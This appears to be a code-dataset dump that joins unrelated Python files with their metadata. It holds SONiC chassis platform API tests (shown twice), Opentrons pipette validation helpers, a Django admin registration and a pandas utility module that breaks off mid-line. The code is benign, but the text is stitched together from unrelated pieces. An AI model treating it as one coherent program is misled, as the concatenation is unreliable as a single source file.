pytest_assert(set(syseeprom_type_codes_list) <= set(VALID_ONIE_TLVINFO_TYPE_CODES_LIST), "Invalid TlvInfo type code found") # Ensure that we were able to obtain the minimum required type codes pytest_assert(set(MINIMUM_REQUIRED_TYPE_CODES_LIST) <= set(syseeprom_type_codes_list), "Minimum required TlvInfo type codes not provided") # Ensure the base MAC address is sane base_mac = syseeprom_info_dict[ONIE_TLVINFO_TYPE_CODE_BASE_MAC_ADDR] pytest_assert(base_mac is not None, "Failed to retrieve base MAC address") pytest_assert(re.match(REGEX_MAC_ADDRESS, base_mac), "Base MAC address appears to be incorrect") # Ensure the serial number is sane serial = syseeprom_info_dict[ONIE_TLVINFO_TYPE_CODE_SERIAL_NUMBER] pytest_assert(serial is not None, "Failed to retrieve serial number") pytest_assert(re.match(REGEX_SERIAL_NUMBER, serial), "Serial number appears to be incorrect") if 'syseeprom_info' in duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars: expected_syseeprom_info_dict = duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars['syseeprom_info'] pytest_assert(syseeprom_info_dict == expected_syseeprom_info_dict, "System EEPROM info is incorrect") else: logger.warning('Inventory file does not contain system EEPROM info for {}'.format(duthost.hostname)) def test_get_reboot_cause(self, duthost, localhost, platform_api_conn): # TODO: Compare return values to potential combinations reboot_cause = chassis.get_reboot_cause(platform_api_conn) # Actual return value is a tuple, but since we're using the HTTP server # to make the call and it uses JSON, the tuple is changed to a list pytest_assert(reboot_cause is not None, "Failed to retrieve reboot cause") pytest_assert(isinstance(reboot_cause, list) and len(reboot_cause) == 2, "Reboot cause appears to be incorrect") def test_components(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of components and that the returned list is correct for this platform try: num_components = int(chassis.get_num_components(platform_api_conn)) except: pytest.fail("num_components is not an integer") component_list = chassis.get_all_components(platform_api_conn) pytest_assert(component_list is not None, "Failed to retrieve components") pytest_assert(isinstance(component_list, list) and len(component_list) == num_components, "Components appear to be incorrect") for i in range(num_components): component = chassis.get_component(platform_api_conn, i) self.expect(component and component == component_list[i], "Component {} is incorrect".format(i)) self.assert_expectations() def test_modules(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of modules and that the returned list is correct for this platform try: num_modules = int(chassis.get_num_modules(platform_api_conn)) except: pytest.fail("num_modules is not an integer") module_list = chassis.get_all_modules(platform_api_conn) pytest_assert(module_list is not None, "Failed to retrieve modules") pytest_assert(isinstance(module_list, list) and len(module_list) == num_modules, "Modules appear to be incorrect") for i in range(num_modules): module = chassis.get_module(platform_api_conn, i) self.expect(module and module == module_list[i], "Module {} is incorrect".format(i)) self.assert_expectations() def test_fans(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of fans and that the returned list is correct for this platform try: num_fans = int(chassis.get_num_fans(platform_api_conn)) except: pytest.fail("num_fans is not an integer") fan_list = chassis.get_all_fans(platform_api_conn) pytest_assert(fan_list is not None, "Failed to retrieve fans") pytest_assert(isinstance(fan_list, list) and len(fan_list) == num_fans, "Fans appear to be incorrect") for i in range(num_fans): fan = chassis.get_fan(platform_api_conn, i) self.expect(fan and fan == fan_list[i], "Fan {} is incorrect".format(i)) self.assert_expectations() def test_fan_drawers(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of fan drawers and that the returned list is correct for this platform try: num_fan_drawers = int(chassis.get_num_fan_drawers(platform_api_conn)) except: pytest.fail("num_fan_drawers is not an integer") fan_drawer_list = chassis.get_all_fan_drawers(platform_api_conn) pytest_assert(fan_drawer_list is not None, "Failed to retrieve fan drawers") pytest_assert(isinstance(fan_drawer_list, list) and len(fan_drawer_list) == num_fan_drawers, "Fan drawerss appear to be incorrect") for i in range(num_fan_drawers): fan_drawer = chassis.get_fan_drawer(platform_api_conn, i) self.expect(fan_drawer and fan_drawer == fan_drawer_list[i], "Fan drawer {} is incorrect".format(i)) self.assert_expectations() def test_psus(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of PSUs and that the returned list is correct for this platform try: num_psus = int(chassis.get_num_psus(platform_api_conn)) except: pytest.fail("num_psus is not an integer") psu_list = chassis.get_all_psus(platform_api_conn) pytest_assert(psu_list is not None, "Failed to retrieve PSUs") pytest_assert(isinstance(psu_list, list) and len(psu_list) == num_psus, "PSUs appear to be incorrect") for i in range(num_psus): psu = chassis.get_psu(platform_api_conn, i) self.expect(psu and psu == psu_list[i], "PSU {} is incorrect".format(i)) self.assert_expectations() def test_thermals(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of thermals and that the returned list is correct for this platform try: num_thermals = int(chassis.get_num_thermals(platform_api_conn)) except: pytest.fail("num_thermals is not an integer") thermal_list = chassis.get_all_thermals(platform_api_conn) pytest_assert(thermal_list is not None, "Failed to retrieve thermals") pytest_assert(isinstance(thermal_list, list) and len(thermal_list) == num_thermals, "Thermals appear to be incorrect") for i in range(num_thermals): thermal = chassis.get_thermal(platform_api_conn, i) self.expect(thermal and thermal == thermal_list[i], "Thermal {} is incorrect".format(i)) self.assert_expectations() def test_sfps(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of SFPs and that the returned list is correct for this platform try: num_sfps = int(chassis.get_num_sfps(platform_api_conn)) except: pytest.fail("num_sfps is not an integer") sfp_list = chassis.get_all_sfps(platform_api_conn) pytest_assert(sfp_list is not None, "Failed to retrieve SFPs") pytest_assert(isinstance(sfp_list, list) and len(sfp_list) == num_sfps, "SFPs appear to be incorrect") for i in range(num_sfps): sfp = chassis.get_sfp(platform_api_conn, i) self.expect(sfp and sfp == sfp_list[i], "SFP {} is incorrect".format(i)) self.assert_expectations() def test_status_led(self, duthost, localhost, platform_api_conn): # TODO: Get a platform-specific list of available colors for the status LED LED_COLOR_LIST = [ "off", "red", "amber", "green", ] for color in LED_COLOR_LIST: result = chassis.set_status_led(platform_api_conn, color) if self.expect(result is not None, "Failed to perform set_status_led"): self.expect(result is True, "Failed to set status_led to {}".format(color)) color_actual = chassis.get_status_led(platform_api_conn) if self.expect(color_actual is not None, "Failed to retrieve status_led"): if self.expect(isinstance(color_actual, str), "Status LED color appears incorrect"): self.expect(color == color_actual, "Status LED color incorrect (expected: {}, actual: {})".format(color, color_actual)) self.assert_expectations() def test_get_thermal_manager(self, duthost, localhost, platform_api_conn): thermal_mgr = chassis.get_thermal_manager(platform_api_conn) pytest_assert(thermal_mgr is not None, "Failed to retrieve thermal manager") def test_get_watchdog(self, duthost, localhost, platform_api_conn): watchdog = chassis.get_watchdog(platform_api_conn) pytest_assert(watchdog is not None, "Failed to retrieve watchdog") def test_get_eeprom(self, duthost, localhost, platform_api_conn): eeprom = chassis.get_eeprom(platform_api_conn) pytest_assert(eeprom is not None, "Failed to retrieve system EEPROM")

52.317757

146

0.711742

import logging import re import pytest import yaml from tests.common.helpers.assertions import pytest_assert from tests.common.helpers.platform_api import chassis from platform_api_test_base import PlatformApiTestBase logger = logging.getLogger(__name__) pytestmark = [ pytest.mark.disable_loganalyzer, pytest.mark.topology('any') ] REGEX_MAC_ADDRESS = r'^([0-9A-Fa-f]{2}:){5}([0-9A-Fa-f]{2})$' REGEX_SERIAL_NUMBER = r'^[A-Za-z0-9]+$' ONIE_TLVINFO_TYPE_CODE_PRODUCT_NAME = '0x21' ONIE_TLVINFO_TYPE_CODE_PART_NUMBER = '0x22' ONIE_TLVINFO_TYPE_CODE_SERIAL_NUMBER = '0x23' ONIE_TLVINFO_TYPE_CODE_BASE_MAC_ADDR = '0x24' ONIE_TLVINFO_TYPE_CODE_MFR_DATE = '0x25' ONIE_TLVINFO_TYPE_CODE_DEVICE_VERSION = '0x26' ONIE_TLVINFO_TYPE_CODE_LABEL_REVISION = '0x27' ONIE_TLVINFO_TYPE_CODE_PLATFORM_NAME = '0x28' ONIE_TLVINFO_TYPE_CODE_ONIE_VERSION = '0x29' ONIE_TLVINFO_TYPE_CODE_NUM_MACS = '0x2A' ONIE_TLVINFO_TYPE_CODE_MANUFACTURER = '0x2B' ONIE_TLVINFO_TYPE_CODE_COUNTRY_CODE = '0x2C' ONIE_TLVINFO_TYPE_CODE_VENDOR = '0x2D' ONIE_TLVINFO_TYPE_CODE_DIAG_VERSION = '0x2E' ONIE_TLVINFO_TYPE_CODE_SERVICE_TAG = '0x2F' ONIE_TLVINFO_TYPE_CODE_VENDOR_EXT = '0xFD' ONIE_TLVINFO_TYPE_CODE_CRC32 = '0xFE' class TestChassisApi(PlatformApiTestBase): def test_get_name(self, duthost, localhost, platform_api_conn): name = chassis.get_name(platform_api_conn) pytest_assert(name is not None, "Unable to retrieve chassis name") pytest_assert(isinstance(name, str), "Chassis name appears incorrect") def test_get_presence(self, duthost, localhost, platform_api_conn): presence = chassis.get_presence(platform_api_conn) pytest_assert(presence is not None, "Unable to retrieve chassis presence") pytest_assert(isinstance(presence, bool), "Chassis presence appears incorrect") pytest_assert(presence is True, "Chassis is not present") def test_get_model(self, duthost, localhost, platform_api_conn): model = chassis.get_model(platform_api_conn) pytest_assert(model is not None, "Unable to retrieve chassis model") pytest_assert(isinstance(model, str), "Chassis model appears incorrect") def test_get_serial(self, duthost, localhost, platform_api_conn): serial = chassis.get_serial(platform_api_conn) pytest_assert(serial is not None, "Unable to retrieve chassis serial number") pytest_assert(isinstance(serial, str), "Chassis serial number appears incorrect") def test_get_status(self, duthost, localhost, platform_api_conn): status = chassis.get_status(platform_api_conn) pytest_assert(status is not None, "Unable to retrieve chassis status") pytest_assert(isinstance(status, bool), "Chassis status appears incorrect") def test_get_base_mac(self, duthost, localhost, platform_api_conn): base_mac = chassis.get_base_mac(platform_api_conn) pytest_assert(base_mac is not None, "Failed to retrieve base MAC address") pytest_assert(re.match(REGEX_MAC_ADDRESS, base_mac), "Base MAC address appears to be incorrect") if 'base_mac' in duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars: expected_base_mac = duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars['base_mac'] pytest_assert(base_mac == expected_base_mac, "Base MAC address is incorrect") else: logger.warning('Inventory file does not contain base MAC address for {}'.format(duthost.hostname)) def test_get_serial_number(self, duthost, localhost, platform_api_conn): serial = chassis.get_serial_number(platform_api_conn).rstrip('\x00') pytest_assert(serial is not None, "Failed to retrieve serial number") pytest_assert(re.match(REGEX_SERIAL_NUMBER, serial), "Serial number appears to be incorrect") if 'serial' in duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars: expected_serial = duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars['serial'] pytest_assert(serial == expected_serial, "Serial number is incorrect") else: logger.warning('Inventory file does not contain serial number for {}'.format(duthost.hostname)) def test_get_system_eeprom_info(self, duthost, localhost, platform_api_conn): VALID_ONIE_TLVINFO_TYPE_CODES_LIST = [ ONIE_TLVINFO_TYPE_CODE_PRODUCT_NAME, ONIE_TLVINFO_TYPE_CODE_PART_NUMBER, ONIE_TLVINFO_TYPE_CODE_SERIAL_NUMBER, ONIE_TLVINFO_TYPE_CODE_BASE_MAC_ADDR, ONIE_TLVINFO_TYPE_CODE_MFR_DATE, ONIE_TLVINFO_TYPE_CODE_DEVICE_VERSION, ONIE_TLVINFO_TYPE_CODE_LABEL_REVISION, ONIE_TLVINFO_TYPE_CODE_PLATFORM_NAME, ONIE_TLVINFO_TYPE_CODE_ONIE_VERSION, ONIE_TLVINFO_TYPE_CODE_NUM_MACS, ONIE_TLVINFO_TYPE_CODE_MANUFACTURER, ONIE_TLVINFO_TYPE_CODE_COUNTRY_CODE, ONIE_TLVINFO_TYPE_CODE_VENDOR, ONIE_TLVINFO_TYPE_CODE_DIAG_VERSION, ONIE_TLVINFO_TYPE_CODE_SERVICE_TAG, ONIE_TLVINFO_TYPE_CODE_VENDOR_EXT, ONIE_TLVINFO_TYPE_CODE_CRC32 ] MINIMUM_REQUIRED_TYPE_CODES_LIST = [ ONIE_TLVINFO_TYPE_CODE_SERIAL_NUMBER, ONIE_TLVINFO_TYPE_CODE_BASE_MAC_ADDR, ONIE_TLVINFO_TYPE_CODE_CRC32 ] syseeprom_info_dict = chassis.get_system_eeprom_info(platform_api_conn) pytest_assert(syseeprom_info_dict is not None, "Failed to retrieve system EEPROM data") pytest_assert(isinstance(syseeprom_info_dict, dict), "System EEPROM data is not in the expected format") syseeprom_type_codes_list = syseeprom_info_dict.keys() pytest_assert(set(syseeprom_type_codes_list) <= set(VALID_ONIE_TLVINFO_TYPE_CODES_LIST), "Invalid TlvInfo type code found") pytest_assert(set(MINIMUM_REQUIRED_TYPE_CODES_LIST) <= set(syseeprom_type_codes_list), "Minimum required TlvInfo type codes not provided") base_mac = syseeprom_info_dict[ONIE_TLVINFO_TYPE_CODE_BASE_MAC_ADDR] pytest_assert(base_mac is not None, "Failed to retrieve base MAC address") pytest_assert(re.match(REGEX_MAC_ADDRESS, base_mac), "Base MAC address appears to be incorrect") serial = syseeprom_info_dict[ONIE_TLVINFO_TYPE_CODE_SERIAL_NUMBER] pytest_assert(serial is not None, "Failed to retrieve serial number") pytest_assert(re.match(REGEX_SERIAL_NUMBER, serial), "Serial number appears to be incorrect") if 'syseeprom_info' in duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars: expected_syseeprom_info_dict = duthost.host.options['inventory_manager'].get_host(duthost.hostname).vars['syseeprom_info'] pytest_assert(syseeprom_info_dict == expected_syseeprom_info_dict, "System EEPROM info is incorrect") else: logger.warning('Inventory file does not contain system EEPROM info for {}'.format(duthost.hostname)) def test_get_reboot_cause(self, duthost, localhost, platform_api_conn): reboot_cause = chassis.get_reboot_cause(platform_api_conn) # to make the call and it uses JSON, the tuple is changed to a list pytest_assert(reboot_cause is not None, "Failed to retrieve reboot cause") pytest_assert(isinstance(reboot_cause, list) and len(reboot_cause) == 2, "Reboot cause appears to be incorrect") def test_components(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of components and that the returned list is correct for this platform try: num_components = int(chassis.get_num_components(platform_api_conn)) except: pytest.fail("num_components is not an integer") component_list = chassis.get_all_components(platform_api_conn) pytest_assert(component_list is not None, "Failed to retrieve components") pytest_assert(isinstance(component_list, list) and len(component_list) == num_components, "Components appear to be incorrect") for i in range(num_components): component = chassis.get_component(platform_api_conn, i) self.expect(component and component == component_list[i], "Component {} is incorrect".format(i)) self.assert_expectations() def test_modules(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of modules and that the returned list is correct for this platform try: num_modules = int(chassis.get_num_modules(platform_api_conn)) except: pytest.fail("num_modules is not an integer") module_list = chassis.get_all_modules(platform_api_conn) pytest_assert(module_list is not None, "Failed to retrieve modules") pytest_assert(isinstance(module_list, list) and len(module_list) == num_modules, "Modules appear to be incorrect") for i in range(num_modules): module = chassis.get_module(platform_api_conn, i) self.expect(module and module == module_list[i], "Module {} is incorrect".format(i)) self.assert_expectations() def test_fans(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of fans and that the returned list is correct for this platform try: num_fans = int(chassis.get_num_fans(platform_api_conn)) except: pytest.fail("num_fans is not an integer") fan_list = chassis.get_all_fans(platform_api_conn) pytest_assert(fan_list is not None, "Failed to retrieve fans") pytest_assert(isinstance(fan_list, list) and len(fan_list) == num_fans, "Fans appear to be incorrect") for i in range(num_fans): fan = chassis.get_fan(platform_api_conn, i) self.expect(fan and fan == fan_list[i], "Fan {} is incorrect".format(i)) self.assert_expectations() def test_fan_drawers(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of fan drawers and that the returned list is correct for this platform try: num_fan_drawers = int(chassis.get_num_fan_drawers(platform_api_conn)) except: pytest.fail("num_fan_drawers is not an integer") fan_drawer_list = chassis.get_all_fan_drawers(platform_api_conn) pytest_assert(fan_drawer_list is not None, "Failed to retrieve fan drawers") pytest_assert(isinstance(fan_drawer_list, list) and len(fan_drawer_list) == num_fan_drawers, "Fan drawerss appear to be incorrect") for i in range(num_fan_drawers): fan_drawer = chassis.get_fan_drawer(platform_api_conn, i) self.expect(fan_drawer and fan_drawer == fan_drawer_list[i], "Fan drawer {} is incorrect".format(i)) self.assert_expectations() def test_psus(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of PSUs and that the returned list is correct for this platform try: num_psus = int(chassis.get_num_psus(platform_api_conn)) except: pytest.fail("num_psus is not an integer") psu_list = chassis.get_all_psus(platform_api_conn) pytest_assert(psu_list is not None, "Failed to retrieve PSUs") pytest_assert(isinstance(psu_list, list) and len(psu_list) == num_psus, "PSUs appear to be incorrect") for i in range(num_psus): psu = chassis.get_psu(platform_api_conn, i) self.expect(psu and psu == psu_list[i], "PSU {} is incorrect".format(i)) self.assert_expectations() def test_thermals(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of thermals and that the returned list is correct for this platform try: num_thermals = int(chassis.get_num_thermals(platform_api_conn)) except: pytest.fail("num_thermals is not an integer") thermal_list = chassis.get_all_thermals(platform_api_conn) pytest_assert(thermal_list is not None, "Failed to retrieve thermals") pytest_assert(isinstance(thermal_list, list) and len(thermal_list) == num_thermals, "Thermals appear to be incorrect") for i in range(num_thermals): thermal = chassis.get_thermal(platform_api_conn, i) self.expect(thermal and thermal == thermal_list[i], "Thermal {} is incorrect".format(i)) self.assert_expectations() def test_sfps(self, duthost, localhost, platform_api_conn): # TODO: Ensure the number of SFPs and that the returned list is correct for this platform try: num_sfps = int(chassis.get_num_sfps(platform_api_conn)) except: pytest.fail("num_sfps is not an integer") sfp_list = chassis.get_all_sfps(platform_api_conn) pytest_assert(sfp_list is not None, "Failed to retrieve SFPs") pytest_assert(isinstance(sfp_list, list) and len(sfp_list) == num_sfps, "SFPs appear to be incorrect") for i in range(num_sfps): sfp = chassis.get_sfp(platform_api_conn, i) self.expect(sfp and sfp == sfp_list[i], "SFP {} is incorrect".format(i)) self.assert_expectations() def test_status_led(self, duthost, localhost, platform_api_conn): # TODO: Get a platform-specific list of available colors for the status LED LED_COLOR_LIST = [ "off", "red", "amber", "green", ] for color in LED_COLOR_LIST: result = chassis.set_status_led(platform_api_conn, color) if self.expect(result is not None, "Failed to perform set_status_led"): self.expect(result is True, "Failed to set status_led to {}".format(color)) color_actual = chassis.get_status_led(platform_api_conn) if self.expect(color_actual is not None, "Failed to retrieve status_led"): if self.expect(isinstance(color_actual, str), "Status LED color appears incorrect"): self.expect(color == color_actual, "Status LED color incorrect (expected: {}, actual: {})".format(color, color_actual)) self.assert_expectations() def test_get_thermal_manager(self, duthost, localhost, platform_api_conn): thermal_mgr = chassis.get_thermal_manager(platform_api_conn) pytest_assert(thermal_mgr is not None, "Failed to retrieve thermal manager") def test_get_watchdog(self, duthost, localhost, platform_api_conn): watchdog = chassis.get_watchdog(platform_api_conn) pytest_assert(watchdog is not None, "Failed to retrieve watchdog") def test_get_eeprom(self, duthost, localhost, platform_api_conn): eeprom = chassis.get_eeprom(platform_api_conn) pytest_assert(eeprom is not None, "Failed to retrieve system EEPROM")

true

f705088ca6ef0bf0d1e239d32b41a163dbc29fd3

5,189

py

Python

api/src/opentrons/protocols/api_support/instrument.py

mrakitin/opentrons

d9c7ed23d13cdb62bd1bc397dc2871d4bd5b77e9

[ "Apache-2.0" ]

null

api/src/opentrons/protocols/api_support/instrument.py

mrakitin/opentrons

d9c7ed23d13cdb62bd1bc397dc2871d4bd5b77e9

[ "Apache-2.0" ]

null

api/src/opentrons/protocols/api_support/instrument.py

mrakitin/opentrons

d9c7ed23d13cdb62bd1bc397dc2871d4bd5b77e9

[ "Apache-2.0" ]

null

import logging from typing import Optional, Any from opentrons import types from opentrons.calibration_storage import get from opentrons.calibration_storage.types import TipLengthCalNotFound from opentrons.hardware_control.dev_types import PipetteDict from opentrons.protocol_api.labware import Labware, Well from opentrons.protocols.api_support.types import APIVersion from opentrons_shared_data.protocol.dev_types import LiquidHandlingCommand, \ BlowoutLocation def validate_blowout_location( api_version: APIVersion, liquid_handling_command: LiquidHandlingCommand, blowout_location: Optional[Any]) -> None: """Validate the blowout location.""" if blowout_location and api_version < APIVersion(2, 8): raise ValueError( 'Cannot specify blowout location when using api' + ' version below 2.8, current version is {api_version}' .format(api_version=api_version)) elif liquid_handling_command == 'consolidate' \ and blowout_location == 'source well': raise ValueError( "blowout location for consolidate cannot be source well") elif liquid_handling_command == 'distribute' \ and blowout_location == 'destination well': raise ValueError( "blowout location for distribute cannot be destination well") elif liquid_handling_command == 'transfer' and \ blowout_location and \ blowout_location not in \ [location.value for location in BlowoutLocation]: raise ValueError( "blowout location should be either 'source well', " + " 'destination well', or 'trash'" + f" but it is {blowout_location}") def tip_length_for(pipette: PipetteDict, tiprack: Labware) -> float: """ Get the tip length, including overlap, for a tip from this rack """ def _build_length_from_overlap() -> float: tip_overlap = pipette['tip_overlap'].get( tiprack.uri, pipette['tip_overlap']['default']) tip_length = tiprack.tip_length return tip_length - tip_overlap try: return get.load_tip_length_calibration( pipette['pipette_id'], tiprack._implementation.get_definition() ).tip_length except TipLengthCalNotFound: return _build_length_from_overlap() VALID_PIP_TIPRACK_VOL = { 'p10': [10, 20], 'p20': [10, 20], 'p50': [200, 300], 'p300': [200, 300], 'p1000': [1000] } def validate_tiprack( instrument_name: str, tiprack: Labware, log: logging.Logger) -> None: """Validate a tiprack logging a warning message.""" # TODO AA 2020-06-24 - we should instead add the acceptable Opentrons # tipracks to the pipette as a refactor if tiprack._implementation.get_definition()['namespace'] \ == 'opentrons': tiprack_vol = tiprack.wells()[0].max_volume valid_vols = VALID_PIP_TIPRACK_VOL[instrument_name.split('_')[0]] if tiprack_vol not in valid_vols: log.warning( f'The pipette {instrument_name} and its tiprack ' f'{tiprack.load_name} in slot {tiprack.parent} appear to ' 'be mismatched. Please check your protocol before running ' 'on the robot.') def determine_drop_target( api_version: APIVersion, location: Well, return_height: float, version_breakpoint: APIVersion = None) -> types.Location: """Determine the drop target based on well and api version.""" version_breakpoint = version_breakpoint or APIVersion(2, 2) if api_version < version_breakpoint: bot = location.bottom() return types.Location( point=bot.point._replace(z=bot.point.z + 10), labware=location) else: tr = location.parent assert tr.is_tiprack z_height = return_height * tr.tip_length return location.top(-z_height) def validate_can_aspirate(location: types.Location) -> None: """ Can one aspirate on the given `location` or not? This method is pretty basic and will probably remain so (?) as the future holds neat ambitions for how validation is implemented. And as robots become more intelligent more rigorous testing will be possible Args: location: target for aspiration Raises: RuntimeError: """ if _is_tiprack(location): raise RuntimeError("Cannot aspirate a tiprack") def validate_can_dispense(location: types.Location) -> None: """ Can one dispense to the given `location` or not? This method is pretty basic and will probably remain so (?) as the future holds neat ambitions for how validation is implemented. And as robots become more intelligent more rigorous testing will be possible Args: location: target for dispense Raises: RuntimeError: """ if _is_tiprack(location): raise RuntimeError("Cannot dispense to a tiprack") def _is_tiprack(location: types.Location) -> bool: labware = location.labware.as_labware() return labware.parent and labware.parent.is_tiprack

36.034722

77

0.671035

import logging from typing import Optional, Any from opentrons import types from opentrons.calibration_storage import get from opentrons.calibration_storage.types import TipLengthCalNotFound from opentrons.hardware_control.dev_types import PipetteDict from opentrons.protocol_api.labware import Labware, Well from opentrons.protocols.api_support.types import APIVersion from opentrons_shared_data.protocol.dev_types import LiquidHandlingCommand, \ BlowoutLocation def validate_blowout_location( api_version: APIVersion, liquid_handling_command: LiquidHandlingCommand, blowout_location: Optional[Any]) -> None: if blowout_location and api_version < APIVersion(2, 8): raise ValueError( 'Cannot specify blowout location when using api' + ' version below 2.8, current version is {api_version}' .format(api_version=api_version)) elif liquid_handling_command == 'consolidate' \ and blowout_location == 'source well': raise ValueError( "blowout location for consolidate cannot be source well") elif liquid_handling_command == 'distribute' \ and blowout_location == 'destination well': raise ValueError( "blowout location for distribute cannot be destination well") elif liquid_handling_command == 'transfer' and \ blowout_location and \ blowout_location not in \ [location.value for location in BlowoutLocation]: raise ValueError( "blowout location should be either 'source well', " + " 'destination well', or 'trash'" + f" but it is {blowout_location}") def tip_length_for(pipette: PipetteDict, tiprack: Labware) -> float: def _build_length_from_overlap() -> float: tip_overlap = pipette['tip_overlap'].get( tiprack.uri, pipette['tip_overlap']['default']) tip_length = tiprack.tip_length return tip_length - tip_overlap try: return get.load_tip_length_calibration( pipette['pipette_id'], tiprack._implementation.get_definition() ).tip_length except TipLengthCalNotFound: return _build_length_from_overlap() VALID_PIP_TIPRACK_VOL = { 'p10': [10, 20], 'p20': [10, 20], 'p50': [200, 300], 'p300': [200, 300], 'p1000': [1000] } def validate_tiprack( instrument_name: str, tiprack: Labware, log: logging.Logger) -> None: if tiprack._implementation.get_definition()['namespace'] \ == 'opentrons': tiprack_vol = tiprack.wells()[0].max_volume valid_vols = VALID_PIP_TIPRACK_VOL[instrument_name.split('_')[0]] if tiprack_vol not in valid_vols: log.warning( f'The pipette {instrument_name} and its tiprack ' f'{tiprack.load_name} in slot {tiprack.parent} appear to ' 'be mismatched. Please check your protocol before running ' 'on the robot.') def determine_drop_target( api_version: APIVersion, location: Well, return_height: float, version_breakpoint: APIVersion = None) -> types.Location: version_breakpoint = version_breakpoint or APIVersion(2, 2) if api_version < version_breakpoint: bot = location.bottom() return types.Location( point=bot.point._replace(z=bot.point.z + 10), labware=location) else: tr = location.parent assert tr.is_tiprack z_height = return_height * tr.tip_length return location.top(-z_height) def validate_can_aspirate(location: types.Location) -> None: if _is_tiprack(location): raise RuntimeError("Cannot aspirate a tiprack") def validate_can_dispense(location: types.Location) -> None: if _is_tiprack(location): raise RuntimeError("Cannot dispense to a tiprack") def _is_tiprack(location: types.Location) -> bool: labware = location.labware.as_labware() return labware.parent and labware.parent.is_tiprack

true

f70508c8381da2991bd613dc3eb8473318c12f5a

436

py

Python

cookies/admin.py

ADpDinamo/site

d7313cd6c151a381ccc803b81768673587cb8d45

[ "Apache-2.0" ]

null

cookies/admin.py

ADpDinamo/site

d7313cd6c151a381ccc803b81768673587cb8d45

[ "Apache-2.0" ]

8

2021-03-19T10:14:39.000Z

2022-03-12T00:24:41.000Z

cookies/admin.py

ADpDinamo/site

d7313cd6c151a381ccc803b81768673587cb8d45

[ "Apache-2.0" ]

null

from django.contrib import admin from .models import CookiePageText, TOSPageText, StatutPageText # Register your models here. class CookieAdmin(admin.ModelAdmin): pass class TOSPageTextAdmin(admin.ModelAdmin): pass class StatutPageTextAdmin(admin.ModelAdmin): pass admin.site.register(CookiePageText, CookieAdmin) admin.site.register(TOSPageText, TOSPageTextAdmin) admin.site.register(StatutPageText, StatutPageTextAdmin)

29.066667

63

0.823394

from django.contrib import admin from .models import CookiePageText, TOSPageText, StatutPageText class CookieAdmin(admin.ModelAdmin): pass class TOSPageTextAdmin(admin.ModelAdmin): pass class StatutPageTextAdmin(admin.ModelAdmin): pass admin.site.register(CookiePageText, CookieAdmin) admin.site.register(TOSPageText, TOSPageTextAdmin) admin.site.register(StatutPageText, StatutPageTextAdmin)

true

f7050908f1d5cb294790a504bf31adbcb7c5b54b

41,157

py

Python

src/pyg_base/_pandas.py

nclarey/pyg-base

a7b90ea2ad4d740d8e7f8c4a7c9d341d36373862

[ "MIT" ]

null

src/pyg_base/_pandas.py

nclarey/pyg-base

a7b90ea2ad4d740d8e7f8c4a7c9d341d36373862

[ "MIT" ]

null

src/pyg_base/_pandas.py

nclarey/pyg-base

a7b90ea2ad4d740d8e7f8c4a7c9d341d36373862

[ "MIT" ]

null

""" We want to simplify the operations for pandas dataframes assuming we are using timeseries as the main objects. When we have multiple timeseries, we will: 1) calculate joint index using df_index() 2) reindex each timeseries to the joint index We then need to worry about multiple columns if there are. If none, each timeseries will be considered as pd.Series If there are multiple columns, we will perform the calculations columns by columns. """ from pyg_base._types import is_df, is_str, is_num, is_tss, is_int, is_arr, is_ts, is_arrs, is_tuples, is_pd from pyg_base._dictable import dictable from pyg_base._as_list import as_list from pyg_base._zip import zipper from pyg_base._reducer import reducing, reducer from pyg_base._decorators import wrapper from pyg_base._loop import loop from pyg_base._dates import dt import pandas as pd import numpy as np from copy import copy import inspect import datetime from operator import add, mul __all__ = ['df_fillna', 'df_index', 'df_reindex', 'df_columns', 'presync', 'np_reindex', 'nona', 'df_slice', 'df_unslice', 'min_', 'max_', 'add_', 'mul_', 'sub_', 'div_', 'pow_'] def _list(values): """ >>> assert _list([1,2,[3,4,5,[6,7]],dict(a =[8,9], b=[10,[11,12]])]) == [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12] >>> assert _list(1) == [1] >>> assert _list(dict(a=1, b=2)) == [1,2] """ if isinstance(values, list): return sum([_list(df) for df in values], []) elif isinstance(values, dict): return _list(list(values.values())) else: return [values] @loop(list, tuple, dict) def _index(ts): if isinstance(ts, pd.Index): return ts elif is_pd(ts): return ts.index elif is_arr(ts): return len(ts) else: raise ValueError('did not provide an index') def _df_index(indexes, index): if len(indexes) > 0: if is_str(index): if index[0].lower() == 'i':#nner return reducing('intersection')(indexes) elif index[0].lower() == 'o':#uter return reducing('union')(indexes) elif index[0].lower() == 'l':#uter return indexes[0] elif index[0].lower() == 'r':#uter return indexes[-1] else: return _index(index) else: return None def _np_index(indexes, index): if len(indexes) > 0: if index[0].lower() == 'i':#nner return min(indexes) elif index[0].lower() == 'o':#uter return max(indexes) elif index[0].lower() == 'l':#uter return indexes[0] elif index[0].lower() == 'r':#uter return indexes[-1] else: return None def df_index(seq, index = 'inner'): """ Determines a joint index of multiple timeseries objects. :Parameters: ---------------- seq : sequence whose index needs to be determined a (possible nested) sequence of timeseries/non-timeseries object within lists/dicts index : str, optional method to determine the index. The default is 'inner'. :Returns: ------- pd.Index The joint index. :Example: --------- >>> tss = [pd.Series(np.random.normal(0,1,10), drange(-i, 9-i)) for i in range(5)] >>> more_tss_as_dict = dict(zip('abcde',[pd.Series(np.random.normal(0,1,10), drange(-i, 9-i)) for i in range(5)])) >>> res = df_index(tss + [more_tss_as_dict], 'inner') >>> assert len(res) == 6 >>> res = df_index(more_tss_as_dict, 'outer') >>> assert len(res) == 14 """ listed = 